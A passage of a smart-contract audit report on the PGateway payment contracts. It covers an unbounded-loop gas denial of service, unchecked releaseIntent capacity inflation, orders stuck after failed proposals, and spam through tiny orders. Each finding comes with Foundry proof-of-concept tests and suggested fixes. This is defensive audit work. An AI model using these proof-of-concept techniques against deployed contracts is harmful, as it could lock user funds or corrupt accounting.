        for (uint256 i = 0; i < upgradeQueue.length; i++) {
            if (upgradeQueue[i] == target) {
                upgradeQueue[i] = upgradeQueue[upgradeQueue.length - 1];
                upgradeQueue.pop();
                break;
            }
        }

        (bool success, bytes memory data) =
target.call(abi.encodeWithSignature("upgradeTo(address)",
upgrade.newImplementation));
        if (!success) revert UpgradeFailed(target, data);
    }
}

contract MockUpgradeableProxy {
    address public implementation;

    function upgradeTo(address newImplementation) external {
        implementation = newImplementation;
    }
}

contract POC_H03_UnboundedLoopDOS is Test {
    address public newImplementation;

    function setUp() public {
        newImplementation = makeAddr("newImplementation");
    }

    function _createAdminAndScheduleUpgrades(uint256 count)
```

```
        internal
        returns (VulnerablePAdminForH03 testAdmin, MockUpgradeableProxy[]
memory testProxies, address ua)
    {
        address sa = makeAddr(string(abi.encodePacked("sa", count)));
        ua = makeAddr(string(abi.encodePacked("ua", count)));

        testAdmin = new VulnerablePAdminForH03(sa, ua);
        testProxies = new MockUpgradeableProxy[](count);

        for (uint256 i = 0; i < count; i++) {
            testProxies[i] = new MockUpgradeableProxy();
        }

        vm.startPrank(ua);
        for (uint256 i = 0; i < count; i++) {
            testAdmin.scheduleUpgrade(address(testProxies[i]),
newImplementation);
        }
        vm.stopPrank();
    }

    function test_GasCostScalesLinearlyWithQueueSize() public {
        uint256[4] memory queueSizes = [uint256(50), 200, 500, 1000];
        uint256[4] memory gasCosts;

        for (uint256 j = 0; j < 4; j++) {
            (VulnerablePAdminForH03 testAdmin, MockUpgradeableProxy[]
memory testProxies, address ua) =
                _createAdminAndScheduleUpgrades(queueSizes[j]);

            address worstCaseTarget = address(testProxies[queueSizes[j] -
1]);
            vm.prank(ua);
            uint256 gasBefore = gasleft();
            testAdmin.cancelUpgrade(worstCaseTarget);
            gasCosts[j] = gasBefore - gasleft();
        }

        assertTrue(gasCosts[3] > gasCosts[0] * 15, "Gas should scale
linearly with queue size");
    }

    function test_DOSWithLargeQueue() public {
        uint256 largeQueueSize = 2000;

        (VulnerablePAdminForH03 testAdmin, MockUpgradeableProxy[] memory
testProxies, address ua) =
            _createAdminAndScheduleUpgrades(largeQueueSize);

        vm.warp(block.timestamp + 3 days);

        address worstCaseTarget = address(testProxies[largeQueueSize -
1]);
```

```
        vm.prank(ua);
        uint256 gasBefore = gasleft();
        testAdmin.performUpgrade(worstCaseTarget);
        uint256 gasUsed = gasBefore - gasleft();

        assertTrue(gasUsed > 2_000_000, "Gas should exceed 2M for 2000
items");
    }

    function test_PositionDependentGasCost() public {
        uint256 queueSize = 500;
        uint256[3] memory positions = [uint256(0), 249, 499];
        uint256[3] memory gasCosts;

        for (uint256 p = 0; p < 3; p++) {
            address sa = makeAddr(string(abi.encodePacked("sa_pos", p)));
            address ua = makeAddr(string(abi.encodePacked("ua_pos", p)));

            VulnerablePAdminForH03 testAdmin = new
VulnerablePAdminForH03(sa, ua);
            MockUpgradeableProxy[] memory testProxies = new
MockUpgradeableProxy[](queueSize);

            for (uint256 i = 0; i < queueSize; i++) {
                testProxies[i] = new MockUpgradeableProxy();
            }

            vm.startPrank(ua);
            for (uint256 i = 0; i < queueSize; i++) {
                testAdmin.scheduleUpgrade(address(testProxies[i]),
newImplementation);
            }

            address targetToCancel = address(testProxies[positions[p]]);
            uint256 gasBefore = gasleft();
            testAdmin.cancelUpgrade(targetToCancel);
            gasCosts[p] = gasBefore - gasleft();
            vm.stopPrank();
        }

        assertTrue(gasCosts[2] > gasCosts[0] * 10, "Last position should
cost 10x+ more gas");
    }

    function test_BlockGasLimitDOS() public {
        uint256 extremeQueueSize = 3000;

        (VulnerablePAdminForH03 testAdmin, MockUpgradeableProxy[] memory
testProxies, address ua) =
            _createAdminAndScheduleUpgrades(extremeQueueSize);

        address worstCaseTarget = address(testProxies[extremeQueueSize -
1]);
        vm.prank(ua);
        uint256 gasBefore = gasleft();
        testAdmin.cancelUpgrade(worstCaseTarget);
        uint256 gasUsed = gasBefore - gasleft();

        assertTrue(gasUsed > 2_900_000, "3000 items should use ~3M gas");
    }
}
```

Recommendation

Replace the O(n) array iteration with O(1) index-based removal using a mapping to track positions:

```
mapping(address => uint256) private upgradeQueueIndex;
mapping(address => bool) private isInQueue;
address[] public upgradeQueue;

function scheduleUpgrade(address target, address newImplementation)
external onlyRole(ADMIN_ROLE) {
    // ... existing validation ...

    upgradeQueue.push(target);
    upgradeQueueIndex[target] = upgradeQueue.length - 1;
    isInQueue[target] = true;

    // ... rest of function ...
}

function _removeFromQueue(address target) internal {
    require(isInQueue[target], "Not in queue");

    uint256 index = upgradeQueueIndex[target];
    uint256 lastIndex = upgradeQueue.length - 1;

    if (index != lastIndex) {
        address lastTarget = upgradeQueue[lastIndex];
        upgradeQueue[index] = lastTarget;
        upgradeQueueIndex[lastTarget] = index;
    }

    upgradeQueue.pop();
    delete upgradeQueueIndex[target];
    delete isInQueue[target];
}
```

This reduces complexity from O(n) to O(1), eliminating the DOS vector entirely.

L-7: Intent Capacity Can Be Arbitrarily Inflated via releaseIntent

---

Summary

The `releaseIntent()` function in `PGateway.sol` adds capacity back to a provider's intent without validating whether the amount was actually reserved, whether the intent exists, or whether the resulting capacity exceeds the original registration. This allows an aggregator to arbitrarily inflate any provider's capacity, enabling them to be matched to orders far exceeding their actual liquidity commitment.

Vulnerability Detail

In `PGateway.sol` at lines 506-511, the `releaseIntent()` function is implemented as follows:

```
function releaseIntent(address _provider, uint256 _amount, string calldata
_reason) external onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.ProviderIntent storage intent =
providerIntents[_provider];
    intent.availableAmount += _amount;
    emit IntentReleased(_provider, intent.currency, _amount, _reason);
}
```

The function is missing critical validation:

1. No intent existence check: The function does not verify that `intent.isActive == true` or that the provider ever registered an intent
2. No reservation tracking: There is no mechanism to track how much capacity was actually reserved, so there's no way to validate that the released amount was previously reserved
3. No upper bound check: The released amount can exceed the provider's original registered capacity
4. No amount validation: Even `_amount == 0` or extremely large values are accepted

Compare this to `reserveIntent()` which properly validates:

```
function reserveIntent(address _provider, uint256 _amount) external
onlyAggregator {
    // ...
    if (!intent.isActive) revert InvalidIntent();            // Checks
intent exists
    if (intent.availableAmount < _amount) revert InvalidAmount();  //
Validates amount
    intent.availableAmount -= _amount;
}
```

The asymmetry between `reserveIntent()` (which validates) and `releaseIntent()` (which doesn't) creates the vulnerability.

Impact

1. Capacity Manipulation: An aggregator (malicious or compromised) can inflate any provider's capacity to arbitrary values
2. Order Monopolization: Inflated capacity allows providers to be matched to orders far exceeding their actual liquidity commitment
3. Unfulfillable Orders: Users create orders matched to providers who cannot actually settle them, leading to stuck funds until timeout/refund
4. Economic Attack: A provider with 1,000 USDT real capacity could be matched to 500,000 USDT worth of orders
5. Accounting Corruption: The intent system's integrity is compromised, making capacity tracking meaningless
6. Protocol Trust Damage: Users lose confidence when their orders consistently fail to settle

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L506-L511

```
/// @notice Releases reserved capacity if proposal is rejected or times
out
/// @param _provider Provider address
/// @param _amount Amount to release
/// @param _reason Reason for release
function releaseIntent(address _provider, uint256 _amount, string calldata
_reason) external onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.ProviderIntent storage intent =
providerIntents[_provider];
    intent.availableAmount += _amount;  // @audit No validation - can
inflate capacity arbitrarily
    emit IntentReleased(_provider, intent.currency, _amount, _reason);
}
```

Proof of Concept

Save this POC in `test/POC_H06_IntentCapacityOverflow.t.sol`

Run the POC:

```
forge test --match-contract POC_H06_IntentCapacityOverflow -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "./mocks/MockERC20.sol";
import "./mocks/MockAccessManager.sol";
import "./utils/TestConstants.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract POC_H06_IntentCapacityOverflow is Test, TestConstants {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockERC20 public testToken;

    address public owner = address(0x1);
    address public treasury = address(0x2);
    address public aggregator = address(0x3);
    address public integrator = address(0x4);
    address public user = address(0x10);
    address public provider = address(0x20);

    uint256 public constant PROVIDER_INITIAL_CAPACITY = 1_000 ether;
    uint256 public constant LARGE_ORDER_AMOUNT = 100_000 ether;

    function setUp() public {
        vm.deal(owner, 100 ether);
        vm.deal(provider, 100 ether);

        accessManager = new MockAccessManager(owner);
        testToken = new MockERC20("Test Token", "TEST");

        PGatewayStructs.InitiateGatewaySettingsParams memory
settingsParams = PGatewayStructs.InitiateGatewaySettingsParams({
            initialOwner: owner,
            treasury: treasury,
            aggregator: aggregator,
            integrator: integrator,
            protocolFee: PROTOCOL_FEE,
            integratorFee: INTEGRATOR_FEE,
            orderExpiryWindow: ORDER_EXPIRY,
            proposalTimeout: PROPOSAL_TIMEOUT,
            intentExpiry: INTENT_EXPIRY,
            alphaLimit: ALPHA_LIMIT,
            betaLimit: BETA_LIMIT,
            deltaLimit: DELTA_LIMIT,
            omegaLimit: OMEGA_LIMIT,
            titanLimit: TITAN_LIMIT
        });

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            settingsParams
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        vm.startPrank(owner);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);
        settings.setSupportedToken(address(testToken), true);
        vm.stopPrank();

        testToken.mint(user, LARGE_ORDER_AMOUNT * 10);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE, "TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent(TEST_CURRENCY, PROVIDER_INITIAL_CAPACITY,
100, 500, 60);
    }

    function test_RootCause_ReleaseWithoutReservation() public {
        PGatewayStructs.ProviderIntent memory intentBefore =
gateway.getProviderIntent(provider);
        assertEq(intentBefore.availableAmount, PROVIDER_INITIAL_CAPACITY);

        vm.startPrank(aggregator);
        gateway.releaseIntent(provider, PROVIDER_INITIAL_CAPACITY,
"fake_timeout_1");
        gateway.releaseIntent(provider, PROVIDER_INITIAL_CAPACITY,
"fake_timeout_2");
        gateway.releaseIntent(provider, PROVIDER_INITIAL_CAPACITY,
"fake_rejection_1");
        vm.stopPrank();

        PGatewayStructs.ProviderIntent memory intentAfter =
gateway.getProviderIntent(provider);

        assertEq(intentAfter.availableAmount, PROVIDER_INITIAL_CAPACITY *
4);
        assertEq(intentAfter.availableAmount, 4_000 ether);
    }

    function test_AccountingCorruption_ReleaseExceedsReservation() public
```

```
{
        PGatewayStructs.ProviderIntent memory intentBefore =
gateway.getProviderIntent(provider);
        uint256 originalCapacity = intentBefore.availableAmount;
        assertEq(originalCapacity, PROVIDER_INITIAL_CAPACITY);

        vm.startPrank(aggregator);
        uint256 reserveAmount = 500 ether;
        gateway.reserveIntent(provider, reserveAmount);

        PGatewayStructs.ProviderIntent memory afterReserve =
gateway.getProviderIntent(provider);
        assertEq(afterReserve.availableAmount, originalCapacity -
reserveAmount);

        gateway.releaseIntent(provider, reserveAmount * 20,
"over_release");
        vm.stopPrank();

        PGatewayStructs.ProviderIntent memory afterRelease =
gateway.getProviderIntent(provider);

        uint256 corruptedCapacity = (originalCapacity - reserveAmount) +
(reserveAmount * 20);
        assertEq(afterRelease.availableAmount, corruptedCapacity);
        assertEq(afterRelease.availableAmount, 10_500 ether);
        assertGt(afterRelease.availableAmount, originalCapacity * 10);
    }

    function test_MassiveInflation_100xCapacity() public {
        PGatewayStructs.ProviderIntent memory intentBefore =
gateway.getProviderIntent(provider);
        uint256 originalCapacity = intentBefore.availableAmount;
        assertEq(originalCapacity, PROVIDER_INITIAL_CAPACITY);

        vm.startPrank(aggregator);
        for (uint256 i = 0; i < 99; i++) {
            gateway.releaseIntent(provider, originalCapacity,
"inflating");
        }
        vm.stopPrank();

        PGatewayStructs.ProviderIntent memory intentAfter =
gateway.getProviderIntent(provider);

        assertEq(intentAfter.availableAmount, originalCapacity * 100);
        assertEq(intentAfter.availableAmount, 100_000 ether);
    }

    function test_MaxImpact_500xOvercommitment() public {
        vm.startPrank(aggregator);
        gateway.releaseIntent(provider, LARGE_ORDER_AMOUNT * 5,
"massive_inflation");
        vm.stopPrank();
        PGatewayStructs.ProviderIntent memory inflatedIntent =
gateway.getProviderIntent(provider);
        assertEq(inflatedIntent.availableAmount, PROVIDER_INITIAL_CAPACITY
+ (LARGE_ORDER_AMOUNT * 5));

        bytes32[] memory orderIds = new bytes32[](5);
        bytes32[] memory proposalIds = new bytes32[](5);

        for (uint256 i = 0; i < 5; i++) {
            vm.startPrank(user);
            testToken.approve(address(gateway), LARGE_ORDER_AMOUNT);
            orderIds[i] = gateway.createOrder(
                address(testToken),
                LARGE_ORDER_AMOUNT,
                user,
                integrator,
                INTEGRATOR_FEE,
                keccak256(abi.encodePacked("order_", i))
            );
            vm.stopPrank();

            vm.prank(aggregator);
            proposalIds[i] = gateway.createProposal(orderIds[i], provider,
200);
        }

        for (uint256 i = 0; i < 5; i++) {
            vm.prank(provider);
            gateway.acceptProposal(proposalIds[i]);

            PGatewayStructs.SettlementProposal memory prop =
gateway.getProposal(proposalIds[i]);
            assertEq(uint(prop.status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        }

        uint256 totalCommitted = LARGE_ORDER_AMOUNT * 5;

        assertEq(totalCommitted, 500_000 ether);
        assertEq(PROVIDER_INITIAL_CAPACITY, 1_000 ether);
        assertEq(totalCommitted / PROVIDER_INITIAL_CAPACITY, 500);
    }
}
```

Recommendation

Add proper validation and tracking for reserved amounts:

```
```

```
// Add to ProviderIntent struct in PGatewayStructs.sol
struct ProviderIntent {
    // ... existing fields ...
+   uint256 reservedAmount;      // Track total reserved capacity
+   uint256 originalCapacity;    // Track original registered capacity
}

// Update reserveIntent
function reserveIntent(address _provider, uint256 _amount) external
onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.ProviderIntent storage intent =
providerIntents[_provider];
    if (!intent.isActive) revert InvalidIntent();
    if (intent.availableAmount < _amount) revert InvalidAmount();

    intent.availableAmount -= _amount;
+   intent.reservedAmount += _amount;
}

// Update releaseIntent
function releaseIntent(address _provider, uint256 _amount, string calldata
_reason) external onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.ProviderIntent storage intent =
providerIntents[_provider];

+   // Validate intent exists and is active
+   if (!intent.isActive) revert InvalidIntent();
+
+   // Validate amount was actually reserved
+   if (_amount > intent.reservedAmount) revert InvalidAmount();
+
+   // Validate result doesn't exceed original capacity
+   if (intent.availableAmount + _amount > intent.originalCapacity) revert
InvalidAmount();

    intent.availableAmount += _amount;
+   intent.reservedAmount -= _amount;

    emit IntentReleased(_provider, intent.currency, _amount, _reason);
}
```

L-8: Order Stuck in PROPOSED Status After All Proposals Fail

Summary

When an order receives proposals but all proposals are either rejected or timed out, the order remains stuck in `PROPOSED` status with no mechanism to recover. The `rejectProposal()` and `timeoutProposal()` functions only update the proposal status, never resetting the order status back to `PENDING`. This forces users to wait for the full order expiry period before they can receive a refund, even when all proposals have already failed within minutes.

Vulnerability Detail

In `PGateway.sol`, when a proposal is created via `createProposal()`, the order status is set to `PROPOSED` (line 683). However, when proposals fail:

1. `rejectProposal()` (lines 709-718) only updates `proposal.status = REJECTED`
2. `timeoutProposal()` (lines 722-730) only updates `proposal.status = TIMEOUT`

Neither function resets the order status back to `PENDING`:

```
function rejectProposal(bytes32 _proposalId, string calldata _reason)
external onlyProvider {
    // ... validation ...
    proposal.status = PGatewayStructs.ProposalStatus.REJECTED;  // Line
715
    // @audit Order status remains PROPOSED - never reset!
    providerReputation[msg.sender].noShowCount++;
    emit SettlementProposalRejected(_proposalId, msg.sender, _reason);
}

function timeoutProposal(bytes32 _proposalId) external onlyAggregator {
    // ... validation ...
    proposal.status = PGatewayStructs.ProposalStatus.TIMEOUT;  // Line 728
    // @audit Order status remains PROPOSED - never reset!
    emit SettlementProposalTimeout(_proposalId, proposal.provider);
}
```

The `requestRefund()` function requires `block.timestamp > order.expiresAt` (line 823), meaning users cannot get early refunds even when all proposals have definitively failed.

Impact

1. Delayed Refunds: Users must wait for the full order expiry period (e.g., 1 hour) even if all proposals fail within minutes
2. Capital Inefficiency: User funds remain locked in the gateway with no active proposals
3. State Machine Inconsistency: Order shows `PROPOSED` but has no active proposals
4. Poor UX: Users see pending orders with no path to settlement

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L709-L730

Proof of Concept

Save this POC in `test/POC_M09_OrderStuckInProposedStatus.t.sol`

```
forge test --match-path test/POC_M09_OrderStuckInProposedStatus.t.sol -vvv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
    constructor() ERC20("Mock USDC", "USDC") {
        _mint(msg.sender, 100_000_000e6);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
        roles[ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }
    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_M09_OrderStuckInProposedStatus is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockToken public usdc;

    address public admin;
    address public treasury;
    address public aggregator;
    address public integrator;
    address public provider1;
    address public provider2;
    address public provider3;
    address public user;

    uint256 constant ORDER_AMOUNT = 5_000e6;
    uint64 constant PROTOCOL_FEE_BPS = 100;
    uint64 constant INTEGRATOR_FEE_BPS = 50;
    uint64 constant PROVIDER_FEE_BPS = 200;
    uint256 constant ORDER_EXPIRY = 1 hours;
    uint256 constant PROPOSAL_TIMEOUT = 30 minutes;

    function setUp() public {
        admin = makeAddr("admin");
        treasury = makeAddr("treasury");
        aggregator = makeAddr("aggregator");
        integrator = makeAddr("integrator");
        provider1 = makeAddr("provider1");
        provider2 = makeAddr("provider2");
        provider3 = makeAddr("provider3");
        user = makeAddr("user");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider1);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider2);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider3);
        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: PROTOCOL_FEE_BPS,
                alphaLimit: 3000e6,
                betaLimit: 5000e6,
                deltaLimit: 7000e6,
                integrator: integrator,
                integratorFee: INTEGRATOR_FEE_BPS,
                omegaLimit: 10000e6,
                titanLimit: 50000e6,
                orderExpiryWindow: ORDER_EXPIRY,
                proposalTimeout: PROPOSAL_TIMEOUT,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        usdc = new MockToken();
        settings.setSupportedToken(address(usdc), true);
        vm.stopPrank();

        usdc.mint(user, 10_000_000e6);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS,
"TestIntegrator");

        vm.prank(provider1);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);

        vm.prank(provider2);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);

        vm.prank(provider3);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);
    }
    function test_POC_OrderStuckAfterAllProposalsFail() public {
        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            user,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("msg_hash_1")
        );
        vm.stopPrank();

        assertEq(uint8(gateway.getOrder(orderId).status),
uint8(PGatewayStructs.OrderStatus.PENDING));

        vm.prank(aggregator);
        bytes32 proposalId1 = gateway.createProposal(orderId, provider1,
PROVIDER_FEE_BPS);
        assertEq(uint8(gateway.getOrder(orderId).status),
uint8(PGatewayStructs.OrderStatus.PROPOSED));

        vm.prank(provider1);
        gateway.rejectProposal(proposalId1, "Rejected");
        assertEq(uint8(gateway.getProposal(proposalId1).status),
uint8(PGatewayStructs.ProposalStatus.REJECTED));
        assertEq(uint8(gateway.getOrder(orderId).status),
uint8(PGatewayStructs.OrderStatus.PROPOSED));

        vm.prank(aggregator);
        bytes32 proposalId2 = gateway.createProposal(orderId, provider2,
PROVIDER_FEE_BPS);
        vm.prank(provider2);
        gateway.rejectProposal(proposalId2, "Rejected");

        vm.prank(aggregator);
        bytes32 proposalId3 = gateway.createProposal(orderId, provider3,
PROVIDER_FEE_BPS);
        vm.warp(block.timestamp + PROPOSAL_TIMEOUT + 1);
        vm.prank(aggregator);
        gateway.timeoutProposal(proposalId3);

        assertEq(uint8(gateway.getProposal(proposalId1).status),
uint8(PGatewayStructs.ProposalStatus.REJECTED));
        assertEq(uint8(gateway.getProposal(proposalId2).status),
uint8(PGatewayStructs.ProposalStatus.REJECTED));
        assertEq(uint8(gateway.getProposal(proposalId3).status),
uint8(PGatewayStructs.ProposalStatus.TIMEOUT));
        assertEq(uint8(gateway.getOrder(orderId).status),
uint8(PGatewayStructs.OrderStatus.PROPOSED));
    }

    function test_POC_UserFundsLockedUntilExpiry() public {
        uint256 creationTime = block.timestamp;
        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            user,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("msg_hash_2")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider1,
PROVIDER_FEE_BPS);

        vm.warp(creationTime + 5 minutes);
        vm.prank(provider1);
        gateway.rejectProposal(proposalId, "Quick rejection after 5 min");

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        uint256 timeRemaining = order.expiresAt - block.timestamp;
        assertGt(timeRemaining, 50 minutes);

        vm.prank(user);
        vm.expectRevert();
        gateway.requestRefund(orderId);

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.refundOrder(orderId);

        vm.warp(order.expiresAt + 1);
        uint256 balanceBefore = usdc.balanceOf(user);
        vm.prank(user);
        gateway.requestRefund(orderId);
        assertEq(usdc.balanceOf(user) - balanceBefore, ORDER_AMOUNT);
    }

    function test_POC_IncompleteStateMachine() public {
        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            user,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("msg_hash_3")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider1,
PROVIDER_FEE_BPS);

        vm.prank(provider1);
        gateway.rejectProposal(proposalId, "Rejected");

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        PGatewayStructs.SettlementProposal memory proposal =
gateway.getProposal(proposalId);

        assertEq(uint8(order.status),
uint8(PGatewayStructs.OrderStatus.PROPOSED));
        assertEq(uint8(proposal.status),
uint8(PGatewayStructs.ProposalStatus.REJECTED));
        assertEq(order.acceptedProposalId, bytes32(0));
        assertEq(order.fulfilledByProvider, address(0));

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.executeSettlement(proposalId);
    }

    function test_POC_ScalabilityImpact() public {
        uint256 numOrders = 10;
        bytes32[] memory orderIds = new bytes32[](numOrders);

        for (uint256 i = 0; i < numOrders; i++) {
            vm.startPrank(user);
            usdc.approve(address(gateway), ORDER_AMOUNT);
            orderIds[i] = gateway.createOrder(
                address(usdc),
                ORDER_AMOUNT,
                user,
                integrator,
                INTEGRATOR_FEE_BPS,
                keccak256(abi.encodePacked("msg_hash_scale_", i))
            );
            vm.stopPrank();

            vm.prank(aggregator);
            bytes32 proposalId = gateway.createProposal(orderIds[i],
provider1, PROVIDER_FEE_BPS);

            vm.prank(provider1);
            gateway.rejectProposal(proposalId, "Busy");
        }

        uint256 totalLockedFunds = 0;
        for (uint256 i = 0; i < numOrders; i++) {
            PGatewayStructs.Order memory order =
gateway.getOrder(orderIds[i]);
            assertEq(uint8(order.status),
uint8(PGatewayStructs.OrderStatus.PROPOSED));
            totalLockedFunds += order.amount;
        }

        assertEq(totalLockedFunds, ORDER_AMOUNT * numOrders);
        assertEq(usdc.balanceOf(address(gateway)), totalLockedFunds);
        assertEq(totalLockedFunds, 50_000e6);
    }
}
```

Recommendation

Allow early refund when all proposals have failed, or reset order to PENDING when last proposal fails.

Info-1: Minimum Order Amount Too Low Enables Spam Attacks

Summary

The `createOrder()` function in `PGateway.sol` only validates that `_amount` is non-zero, allowing orders as small as 1 wei (0.000001 USDC for 6-decimal tokens). This enables spam attacks that clog the system with economically meaningless orders, cause permanent state bloat, and generate zero protocol revenue due to fee rounding.

Vulnerability Detail

In `PGateway.sol` line 588, the order creation only checks for zero amount:

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
    if (_amount == 0) revert InvalidAmount();  // @audit Only checks for
zero, not minimum viable amount
    // ... rest of function
}
```

The lack of a minimum order amount creates several attack vectors:

1. Fee Rounding to Zero: With `PROTOCOL_FEE_BPS = 100` (0.1%) and `MAX_BPS = 100,000`, any order below 1000 smallest units generates zero protocol fee:
    - `(999 * 100) / 100,000 = 0` (rounds down)

   - `(1 * 100) / 100,000 = 0` (rounds down)

2. State Bloat: Each order consumes permanent storage regardless of amount:

   - Order struct storage
   - Mapping entries
   - User nonce increment
   - Event logs

3. No Economic Barrier: An attacker can create millions of 1-wei orders with minimal token cost (though gas costs apply on L1).

Impact

1. Zero Protocol Revenue: Orders below the fee threshold generate $0 in protocol, integrator, and provider fees. The entire order amount goes to the provider.

2. Permanent State Bloat: Each spam order permanently consumes:

   - ~320 bytes of storage (Order struct)
   - Mapping slot for `orders[orderId]`
   - Mapping slot for `usedMessageHashes[hash]`
   - Incremented `userNonce`

3. Indexing Overhead: Off-chain aggregators must index and process all orders, including worthless spam.

4. Provider Frustration: Providers see thousands of worthless orders in their matching queue.

5. L2 Viability: On L2s where gas is cheap ($0.001-0.01 per tx), mass spam becomes economically viable.

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L580-L626

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
      if (_amount == 0) revert InvalidAmount();  // @audit No minimum
amount check
    if (_refundAddress == address(0)) revert InvalidAddress();
    if (_integrator == address(0)) revert InvalidAddress();
    if (bytes32(_messageHash).length == 0) revert InvalidMessageHash();
    if (!accessManager.executeNonReentrant(msg.sender, bytes32(0))) revert
Unauthorized();

    bytes32 msgHash = keccak256(abi.encodePacked(_messageHash));
    if (usedMessageHashes[msgHash]) revert MessageHashAlreadyUsed();
    usedMessageHashes[msgHash] = true;

    PGatewayStructs.OrderTier tier = _determineTier(_amount);

